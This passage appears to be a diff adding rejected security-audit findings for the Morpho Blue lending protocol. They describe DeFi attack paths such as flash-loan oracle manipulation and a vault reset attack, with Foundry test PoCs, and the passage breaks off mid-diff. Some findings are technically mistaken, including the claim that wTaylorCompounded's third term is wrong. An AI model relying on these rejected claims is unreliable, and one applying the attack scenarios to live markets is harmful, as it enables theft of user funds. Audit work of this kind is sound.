+Calculations can be made in `_isHealthy(marketParams, id, onBehalf)` function:
+
+```
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ return maxBorrow >= borrowed;
+ }
+```
+
+However in some cases collateral amount can be too high for a needed loan amount.
+
+Let's take an example.
+
+We created a Market with StETH token as loan token and USDC as a collateral token.
+
+Lender call `supply()` with 10 StETH so now we get:
+
+totalSupplyAssets = 10e18; // 10000000000000000000
+totalSupplyShares = 1e25; // 10000000000000000000000000
+
+Using Chainlink oracle test example provided in a [Morpho-blue-oracle](https://github.com/morpho-org/morpho-blue-oracles/blob/main/test/ChainlinkOracleTest.sol#L66) for StETH / USDC pair we got a price `2075600716107604372882900537`.
+
+To calculate a max loan amount for USDC we can use:
+
+`uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE).wMulDown(marketParams.lltv);`
+
+provided in a `_isHealthy()`.
+
+So for 5000 USDC we can get:
+
+```
+uint256 maxBorrow = uint256 (5000 * 1e6 )
+ .mulDivDown(2075600716107604372882900537, 1e36)
+ .wMulDown(0.8 ether);
+```
+
+just **8 tokens**!
+
+_P.S. 0.8 ether for lltv value was taken as a default value provided in the BaseTest contract ([line 37](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/test/forge/BaseTest.sol#L37))._
+
+So it will not be enough to get a loan even for 1 stETH but the provided collateral amount is much higher!
+
+I guess protocol tests privided in a `BorrowIntegrationTest` is not accurate as it just supply a required amount of collateral without checking the difference between needed loan amount and collateral amount.
+
+```
+ function testBorrowUnsufficientLiquidity(
+ uint256 amountCollateral,
+ uint256 amountSupplied,
+ uint256 amountBorrowed,
+ uint256 priceCollateral
+ ) public {
+ (amountCollateral, amountBorrowed, priceCollateral) =
+ _boundHealthyPosition(amountCollateral, amountBorrowed, priceCollateral);
+ vm.assume(amountBorrowed >= 2);
+ amountSupplied = bound(amountSupplied, 1, amountBorrowed - 1);
+ _supply(amountSupplied);
+
+ oracle.setPrice(priceCollateral);
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ vm.expectRevert(bytes(ErrorsLib.INSUFFICIENT_LIQUIDITY));
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+ }
+
+ function _boundHealthyPosition(uint256 amountCollateral, uint256 amountBorrowed, uint256 priceCollateral)
+ internal
+ view
+ returns (uint256, uint256, uint256)
+ {
+ priceCollateral = bound(priceCollateral, MIN_COLLATERAL_PRICE, MAX_COLLATERAL_PRICE);
+ amountBorrowed = bound(amountBorrowed, MIN_TEST_AMOUNT, MAX_TEST_AMOUNT);
+
+ uint256 minCollateral = amountBorrowed.wDivUp(marketParams.lltv).mulDivUp(ORACLE_PRICE_SCALE, priceCollateral);
+
+ if (minCollateral <= MAX_COLLATERAL_ASSETS) {
+ amountCollateral = bound(amountCollateral, minCollateral, MAX_COLLATERAL_ASSETS);
+ } else {
+ amountCollateral = MAX_COLLATERAL_ASSETS;
+ amountBorrowed = Math.min(
+ amountBorrowed.wMulDown(marketParams.lltv).mulDivDown(priceCollateral, ORACLE_PRICE_SCALE),
+ MAX_TEST_AMOUNT
+ );
+ }
+
+ vm.assume(amountBorrowed > 0);
+ vm.assume(amountCollateral < type(uint256).max / priceCollateral);
+ console.log("Amount collateral: ", amountCollateral);
+ console.log("Amount borrowed: ", amountBorrowed);
+ console.log ("Price collateral: ", priceCollateral);
+ return (amountCollateral, amountBorrowed, priceCollateral);
+ }
+```
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/test/forge/integration/BorrowIntegrationTest.sol#L119
+
+I'm not sure how this issue can be fixed without refactoring the code calculations, but I thinks additional checks should be made to see the real difference between loan and collateral amounts.
+
+
+
+### Lack of Input Validation in SafeTransferLib _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Severity**
+
+MEDIUM
+
+**Relevant GitHub Links**
+
+* https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L21
+* https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L28
+
+**Summary**
+
+The `safeTransfer` and `safeTransferFrom` functions in the `SafeTransferLib` library lack input validation checks for the `to` address, `from` address, and `value` parameter. The absence of these checks can lead to unexpected issues and potential loss of user funds if users mistakenly provide zero addresses or incorrect values.
+
+**Vulnerability Details**
+
+The `safeTransfer` and `safeTransferFrom` functions in the `SafeTransferLib` library lack input validation checks for the `to` and `from` addresses, as well as the `value` parameter, introducing a medium severity vulnerability that can lead to unexpected issues and potential loss of user funds due to the acceptance of zero addresses and incorrect values.
+
+**Impact**
+
+The absence of input validation checks in the `safeTransfer` and `safeTransferFrom` functions allows potential manipulation, leading to unexpected behavior, loss of user funds, and a medium severity impact on the library's security.
+
+
+**POC**
+
+* Copy and paste the below test
+* Run the test `forge test --match-test testSafeTransferWithZeroValue -vvv`
+* You will get the below result
+
+```
+Running 1 test for test/forge/libraries/SafeTransferLibTest.sol:SafeTransferLibTest
+[PASS] testSafeTransferWithZeroValue(address,address,address,uint256) (runs: 256, μ: 3767, ~: 3764)
+Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.76ms
+```
+
+Test code:
+
+```solidity
+function testSafeTransferWithZeroValue(address token, address from, address to, uint256 amount) external {
+ // Call safeTransfer with zero amount / value
+ IERC20(token).safeTransfer(address(0), 0);
+}
+```
+
+**Expected Behavior:**
+The `safeTransfer` function is expected to handle transfers securely by implementing input validation checks. Specifically, it should ensure that:
+
+1. The recipient address is not the zero address.
+2. The amount being transferred is greater than zero.
+
+**Potential Issue:**
+If the `safeTransfer` function lacks proper input validation checks, the test case may lead to unexpected behavior. For instance, it could allow transferring tokens to the zero address with a zero amount, potentially resulting in the loss of tokens and introducing a security risk.
+
+**Tools used**
+
+- Manual review
+
+**Recommendations**
+
+Implement input validation checks to ensure that both the `to` and `from` addresses are not zero addresses, and the `value` parameter is greater than zero in both the `safeTransfer` and `safeTransferFrom` functions.
+
+```solidity
+// Inside SafeTransferLib
+function safeTransfer(IERC20 token, address to, uint256 value) internal {
+ require(to != address(0), ErrorsLib.ZERO_ADDRESS);
+ require(value > 0, ErrorsLib.ZERO_ASSETS);
+
+ // Existing code...
+}
+
+function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
+ require(from != address(0), ErrorsLib.ZERO_ADDRESS);
+ require(to != address(0), ErrorsLib.ZERO_ADDRESS);
+ require(value > 0, ErrorsLib.ZERO_ASSETS);
+
+ // Existing code...
+}
+```
+
+Adding these checks will help prevent potential vulnerabilities and enhance the overall security of the library.
+
+
+
+### Health factor manipulation with a trusted oracles _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+As it states in the IOracle [comments](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IOracle.sol#L8):
+
+`@dev It is the user's responsibility to select markets with safe oracles.`
+
+However even trusted oracles can lead to health manipulation on the Markets.
+
+Pssition health is calculated in the _isHealthy():
+
+```
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ if (position[id][borrower].borrowShares == 0) return true;
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ return _isHealthy(marketParams, id, borrower, collateralPrice);
+ }
+```
+
+and rely on a oracle price call. There are some cases when the respond from trusted oracles can be manupulated:
+
+1. For chainlink oracles users can forget to check for a [stale token price](https://solodit.xyz/issues/trst-h-1-a-malicious-operator-can-drain-the-vault-funds-in-one-transaction-trust-security-none-orbital-finance-markdown_) or check if a [sequencer is active.](https://solodit.xyz/issues/trst-m-3-no-check-for-active-arbitrum-sequencer-in-chainlink-oracle-trust-security-none-stella-markdown_)
+
+2. For Uniswap V2 it's possible to manipulate a pool balance and influence the token pair price.
+
+So some malicious users can abuse the system to steel other users tokens. Imagine the situation where malicious user create a Market and setup a Uniswap oracle to stETH / USDC. Other people see that oracle can be trusted and invest their assets to the Market.
+
+Malicious users see there are enough of assets on the market, he takes a flashloan and allocate a great amount of StETH to the Uniswap pool making StETH / USDC price imbalanced. Later he borrow all loan tokens from the Market with a few USDC tokens.
+
+I guess some additional checks for oracles and its responds should be made in the protocol to avoid such situations.
+
+
+
+### Fee-on-transfer tokens can cause insolvency of unrelated markets _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L185-L185](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L185-L185), [Morpho.sol#L191-L191](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L191-L191), [Morpho.sol#L285-L285](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L285-L285), [Morpho.sol#L292-L292](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L292-L292), [Morpho.sol#L310-L310](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L310-L310), [Morpho.sol#L316-L316](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L316-L316), [Morpho.sol#L382-L382](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L382-L382), [Morpho.sol#L407-L407](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L407-L407), [Morpho.sol#L422-L422](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L422-L422)
+
+- Description
+
+- Fee-on-transfer tokens
+
+There are tokens like [STA](https://etherscan.io/token/0xa7de087329bfcda5639247f96140f9dabe3deed1) & [PAXG](https://etherscan.io/token/0x45804880De22913dAFE09f4980848ECE6EcbAf78) that incur a fee on transfer. Moreover, there are tokens like [USDC](https://etherscan.io/token/0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48) and [USDT](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7) that could incur such a fee in the future.
+
+Example when the fee is 1%:
+On `ERC20.transferFrom(alice, bob, 100)`, Alice sends an amount of 100 tokens but Bob only receives 99 due to the transfer fee.
+
+- Impact
+
+Morpho Blue's internal accounting of collateral & loan tokens (per market) only keeps track of the token amounts that **should** be transferred and does not account for the **actually** transferred token amounts.
+For example, see [L310](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L310) and [L316](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L316) in `supplyCollateral(...)`.
+Further instances of the issue are present in: `supply(...)`, `repay(...)`, `liquidate(...)` and `flashLoan(...)`.
+
+As a consquence, greater token amounts than actually supplied to a market can be borrowed/withdrawn from a market causing insolvency of unrelated markets.
+
+- Proof of Concept / Example
+
+Assume Morpho Blue has 2 markets `A` & `B` which both have the same fee-on-transfer token `T` as collateral. The loan token is not important in this example. Token `T` has 1% transfer fee.
+
+1. Alice provides 100 `T` tokens to market `A` via `supplyCollateral(...)`.
+2. Bob provides 100 `T` tokens to market `B` via `supplyCollateral(...)`.
+3. At this point, the `Morpho` contract holds only 198 instead of 200 `T` tokens due to the transfer fee.
+ However, due to the internal accounting Alice & Bob are both entitled to withdraw 100 `T` tokens.
+4. Alice withdraws 100 `T` tokens from market `A` via `withdrawCollateral(...)`.
+5. Bob tries to withdraw 100 `T` tokens from market `B` via `withdrawCollateral(...)`, but the transaction reverts due to insufficient balance.
+6. Bob remembers that `T` is a fee-on-transfer token and therefore only tries to withdraw 99 `T` tokens from market `B`. The transaction reverts again due to insufficient balance, because Alice's previous withdrawal from market `A` also affected the solvency of market `B`.
+3. At this point, the `Morpho` contract holds 98 `T` tokens.
+
+An analogous example can also be created for the case where the loan token is a fee-on-transfer token.
+
+- Recommendation
+
+Check the before/after balances on inbound token transfers, i.e. at every instance of `ERC20.transferFrom(...)`.
+1. Revert on mismatching amounts.
+2. Or correctly account for the actually transferred amounts.
+ *Beware of reentrancy issues when performing the transfers before state changes.*
+
+
+
+
+### Withdraw() will revert whenever user attempts to withdraw exact amount of assets he deposited _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+ Withdraw() will revert whenever user attempts to withdraw exact amount of assets he deposited due to rounding up shares in the withdraw()
+
+When a user deposits via supply() shares is rounded down [here](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L180) but when he is withdrawing shares is rounded up [here](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L213)
+
+This will cause a revert due to a subtraction of a bigger value from a smaller value.
+
+Lets say user supplies 10,000 worth of assets and gets 9,990 in shares added to his positions due to rounding down, now when he is withdrawing his 10,000 worth of assets, shares that will be deducted from his positions will be higher than the shares inputted into his positions during deposit due to rounding up causing a revert.
+
+
+**Recommendation**:
+
+When depositing via supply(), shares should be rounded up and when withdrawing shares should be rounded down.
+
+
+
+
+### Liquidations with bad debt can be frontrun by liquidity providers to avoid loss socialization. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Lines**: https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387-L398
+
+**Description**: When a position has more debt than collateral, the system internalizes the bad debt when that unhealthy position is liquidated. The losses are socialized by reducing the count of total assets in the pool and the borrow shares are also removed. Liquidity providers can however monitor the mem pool for liquidation transactions and frontrun in to withdraw their supplied liquidity. This will allow them to avoid the loss socialization and the remaining liquidity providers will bear a higher amount of loss. Since frontrunning is a pretty common occurence on the mainnet, large liquidity providers can use this method to avoid taking losses and instead have the smaller liquidity providers bear the brunt of the loss socialization.
+
+Since this gives these liquidity providers an unfair advantage, it is considered a medium severity issue.
+
+**Recommendation**: Consider adding a block delay for withdrawals.
+
+
+
+### Vault reset attack to steal funds from lenders when ERC4626-like tokens are used as collateral _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+
+- [Morpho.sol#L497-L525](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L497-L525)
+- [Morpho.sol#L414-L423](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L414-L423)
+
+**Description:**
+
+Morpho Blue contains a `flashLoan()` function, which allows users to temporarily utilize the entire liquidity of a token.
+
+Additionally, the maximum amount of `loanToken` a user can borrow is calculated based on a price returned by `oracle`:
+
+```solidity
+uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE) // ORACLE_PRICE_SCALE = 1e36
+ .wMulDown(marketParams.lltv);
+
+return maxBorrow >= borrowed;
+```
+
+`collateralPrice`, which is the conversion rate between `loanToken` and `collateralToken` returned by an oracle, is used.
+
+The combination these two properties of Morpho Blue makes it susceptible to a vault reset attack under two conditions:
+- An ERC-4626 vault's token is used as collateral.
+- Morpho Blue currently holds the vault's entire total supply.
+
+Consider an ERC-4626 vault with the following `deposit()` function, which mints vault tokens based on the the conversion rate of shares to assets:
+
+```solidity
+function deposit(uint256 assetAmount) external {
+ uint256 totalAssets = asset.balanceOf(address(this));
+
+ uint256 shareAmount;
+ if (totalAssets == 0) shareAmount = assetAmount; // 1:1 conversion rate
+ else shareAmount = assetAmount * totalSupply / totalAssets;
+
+ _mint(msg.sender, shareAmount);
+ asset.transferFrom(msg.sender, address(this), assetAmount);
+}
+```
+
+Since the attacker can access the entire vault token total supply using `flashLoan()`, he can forcefully reset the conversion rate between shares and assets to 1:1 by withdrawing the entire total supply.
+
+For example:
+
+- Assume a vault which holds DAI as assets has the following state:
+ - `totalAssets` is 2000 DAI.
+ - `totalSupply`, which is entire supply of vault token, is 1000.
+ - This means that 1 vault token is worth 2 DAI.
+- Assume that Bob holds all 1000 vault tokens.
+- Bob wants to use his vault tokens as collateral to borrow some WETH.
+ - He creates a market with WETH as `loanToken` and vault token as `collateralToken`.
+ - He deposits all 1000 tokens as collateral using `supplyCollateral()`.
+- Assuming 1 WETH is worth 2000 DAI, the price oracle returns a conversion rate of 1 WETH to 1000 vault tokens.
+- Some lenders supply WETH to the market, and Bob borrows a portion of it using his collateral.
+- Alice resets the price of vault tokens by doing the following:
+ - Calls `flashLoan()` to temporarily gain all 1000 vault tokens.
+ - Use the 1000 vault tokens to withdraw all 2000 DAI from the vault.
+ - This resets the conversion rate between vault tokens and DAI to 1:1.
+ - Call `deposit()` with 1000 DAI and gain 1000 vault tokens in return.
+ - With the newly minted 1000 vault tokens, repay the flashloan.
+- Now, since 1 vault token is worth 1 DAI, 1 WETH is actually worth 2000 vault tokens.
+- However, the price oracle has not been updated yet.
+- In the same transaction, she exploits the difference in price:
+ - Call `deposit()` with 1000 DAI and gain 1000 vault tokens.
+ - Use the 1000 vault tokens as collateral to borrow 1 WETH. This is possible as the price oracle still returns a conversion rate of 1 WETH to 1000 vault tokens.
+
+In this scenario, Alice has:
+- Gained 1000 DAI profit from borrowing 1 WETH for 1000 DAI, at the expense of lenders.
+- Gained another 1000 DAI profit from withdrawing the vault's total supply, at the expense of Bob. Bob's position is now unhealthy as his collateral is only worth 1000 DAI.
+
+
+This attack is described in detail in [Kankodu's tweet](https://twitter.com/kankodu/status/1685320718870032384).
+
+**Recommendation:**
+
+Ensure that `flashLoan()` cannot be used to withdraw a token's entire liquidity. This can be achieved by checking that a small balance of tokens remains in Morpho Blue during the flashloan:
+
+```diff
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
++ require(IERC20(token).balanceOf(address(this)) > 1e6, ErrorsLib.FLASHLOAN_LIMIT);
+```
+
+
+
+### Attacker can create a malicious market due to no-validation of arbitrary tokens and oracles _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Attacker can create a malicious market where he uses low-value tokens as collateral against potential tokens like WETH via Morpho.createMarket().
+
+An oracle attack will be used during this attack, oracle attacks result in incorrect or invalid data being reported that doesn’t reflect true asset pricing. The oracle reports false information through either unintentional or malicious behaviour. https://chain.link/education-hub/market-manipulation-vs-oracle-exploits
+
+Here's a vivid Scenario of this attack path:
+
+Attacker creates a market with WETH as lendToken and token X (a worthless token) as collateral, he also uses an oracle that misreports the price of token X against WETH. (thus falsely inflating the price of token x)
+
+Now he deposits token X as collateral and borrows huge amount of WETH.
+
+When his positions turns sour enough to attract liquidation, no one will want to liquidate his positions. Because they'll have to pay for his debts in WETH and while receiving worthless token X as incentive for liquidation.
+
+this makes the liquidation unattractive and will result in bad debt, because liquidating it will be a loss for the liquidator.
+
+
+**Recommendation**:
+This attack path is possible because of the use of arbitrary tokens and arbitrary oracles
+
+Let governance whitelist the tokens and oracles to be used,
+
+
+
+### Users can get liquidated in the next block if they borrow max amount _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Description**:
+Users can get liquidated in the next block if they borrow max amount.
+
+There is no gap between the maximal ```borrow LTV``` and ```liquidation LTV``` this means that users can get liquidated in the next block if the price drops by even a tiny amount, without leaving room for collateral token price fluctuations.
+
+- POC:
+- Alice provides ```1 ETH``` as collateral and borrows ```1600 USDC``` (assume that price of eth is ```2000 USDC``` and lltv is set to ```80%```).
+- This will pass as the ```maxBorrow == borrow```
+```solidity
+function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+{
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ return maxBorrow >= borrowed;
+}
+```
+- ```maxBorrow``` is calculated as ```maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE).wMulDown(marketParams.lltv);``` = ```1 ETH * 2000 USDC * 0.8 = 1600 USDC```
+
+- Now in the next block the price of eth drops by one cent. The maximum borrow now is ```1 ETH * 1999.99 USDC * 0.8 = 1599.992 USDC```.
+- This will make a user's position instantly ```unhealthy``` without a chance to add more collateral or repay the debt before getting ```liquidated```. Since liquidations are not beneficial for lending protocols this would harm the protocol and potentially lead to higher bad debt.
+- Protocols like AAVE, Compound, and Maker have different values for the ```max LTV``` and the ```liquidation threshold```. For example in the case of ETH, the max LTV on AAVE is ```82.50%``` and the liquidation threshold is ```86.00%```. The difference allows price and collateral value fluctuations and it depends on the risk profile of an asset. This will protect users from getting liquidated from small fluctuations if they borrow max amount.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513-L525
+- **Recommendation**:
+Consider adding a liquidation LTV that’s bigger than the maximal borrow LTV; positions can only be liquidated after reaching the liquidation LTV. This will create room for price fluctuations and let users increase their collateral or decrease debt before being liquidated.
+
+
+
+### Fees can be lost if the borrowRate returns 0 _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Description**:
+The ```IMorpho``` only mentions that the ```IRM``` can revert on borrowRate ```The IRM can revert on `borrowRate`.``` There is no mention that it cannot return a zero value.
+
+If the ```borrowRate``` returns ```0``` as the rate, fees can be lost for the duration `block.timestamp - market[id].lastUpdate`.
+```solidity
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+}
+```
+If ```borrowRate``` returns 0 the ```intrest``` will be computed as ```0```. This will increase the ```supplyShares``` and ```totalSupplyShares``` by 0 and set the ```lastUpdate``` as the ```block.timestamp```.
+
+Since the fees have been updated by 0 and ```lastUpdate``` time updated to the ```block.timestamp``` the fees for the duration `block.timestamp - market[id].lastUpdate` have been lost as they were perceived as ```0``` due to the incorrect return value of the ```IRM```.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471-L495
+
+- **Recommendation**:
+Only update the ```market[id].lastUpdate``` if `borrowRate > 0`. This will ensure that fees are not lost due to the ```IRM``` failure, but will be accounted for as soon as the ```IRM``` returns the correct value.
+```solidity
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ ...
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ ...
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ ...
+ }
+
+ ...
+ // Safe "unchecked" cast.
++ if(borrowRate > 0){
+ market[id].lastUpdate = uint128(block.timestamp);
++ }
+}
+```
+
+
+
+### `wTaylorCompounded` formula is incorrect, resulting in higher interest than it should be. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+When calculating interest, first the system will calculate `borrowRate` by calling `borrowRate()` to the used `marketParams.irm`, then it will calculate the interest using the taylor compounded `borrowRate` and `elapsed`.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L477
+
+```solidity
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+>>> uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+```
+
+The problem is, the calculation inside `wTaylorCompounded` is not correct and not according to the actual Taylor expansion of `e^(nx) - 1` formula, where :
+
+the first three non-zero terms of a Taylor expansion of $e^{nx} - 1$ is :
+
+$(n * x)+ \frac{(n * x)^2}{2} +\frac{(n * x)^3}{6}$
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L38-L44
+
+```solidity
+ function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+>>> uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+```
+
+It can be observed that instead of calculating $\frac{(n * x)^3}{6}$ for the `thirdTerm`, it calculate $\frac{(n * x)^3}{3}$. This will make the calculated `interest` bigger than expected.
+
+**PoC** :
+
+Add the following test to `AccrueInterestIntegrationTest.sol` test file :
+
+```solidity
+ function testInterestCompare() public {
+ uint256 collateralPrice = oracle.price();
+ uint256 amountCollateral = 100 * 1e18;
+ uint256 amountSupplied = 100 * 1e18;
+ uint256 amountBorrowed = 80 * 1e18;
+ uint256 timeElapsed = 10 days;
+
+ loanToken.setBalance(address(this), amountSupplied);
+ morpho.supply(marketParams, amountSupplied, 0, address(this), hex"");
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + timeElapsed);
+
+ uint256 borrowRate = (morpho.totalBorrowAssets(id).wDivDown(morpho.totalSupplyAssets(id))) / 365 days;
+ console.log("borrowRate : ");
+ console.log(borrowRate);
+ uint256 taylorResult = borrowRate.wTaylorCompounded(timeElapsed);
+ console.log("taylor result : ");
+ console.log(taylorResult);
+ uint256 totalBorrowBeforeAccrued = morpho.totalBorrowAssets(id);
+ uint256 totalSupplyBeforeAccrued = morpho.totalSupplyAssets(id);
+ uint256 totalSupplySharesBeforeAccrued = morpho.totalSupplyShares(id);
+ uint256 expectedAccruedInterest =
+ totalBorrowBeforeAccrued.wMulDown(borrowRate.wTaylorCompounded(timeElapsed));
+ console.log("accured interest : ");
+ console.log(expectedAccruedInterest);
+ vm.expectEmit(true, true, true, true, address(morpho));
+ emit EventsLib.AccrueInterest(id, borrowRate, expectedAccruedInterest, 0);
+ morpho.accrueInterest(marketParams);
+
+ assertEq(morpho.totalBorrowAssets(id), totalBorrowBeforeAccrued + expectedAccruedInterest, "total borrow");
+ assertEq(morpho.totalSupplyAssets(id), totalSupplyBeforeAccrued + expectedAccruedInterest, "total supply");
+ }
+```
+
+Run the test :
+
+```shell
+forge test --match-contract AccrueInterestIntegrationTest --match-test testInterestCompare -vvv
+```
+
+Log output :
+
+```shell
+Logs:
+ borrowRate :
+ 25367833587
+ taylor result :
+ 22159758228207655
+ accured interest :
+ 1772780658256612400
+```
+
+Now compare after change [MathLib.sol#L41](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L41) to the following :
+
+```diff
+ function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+- uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
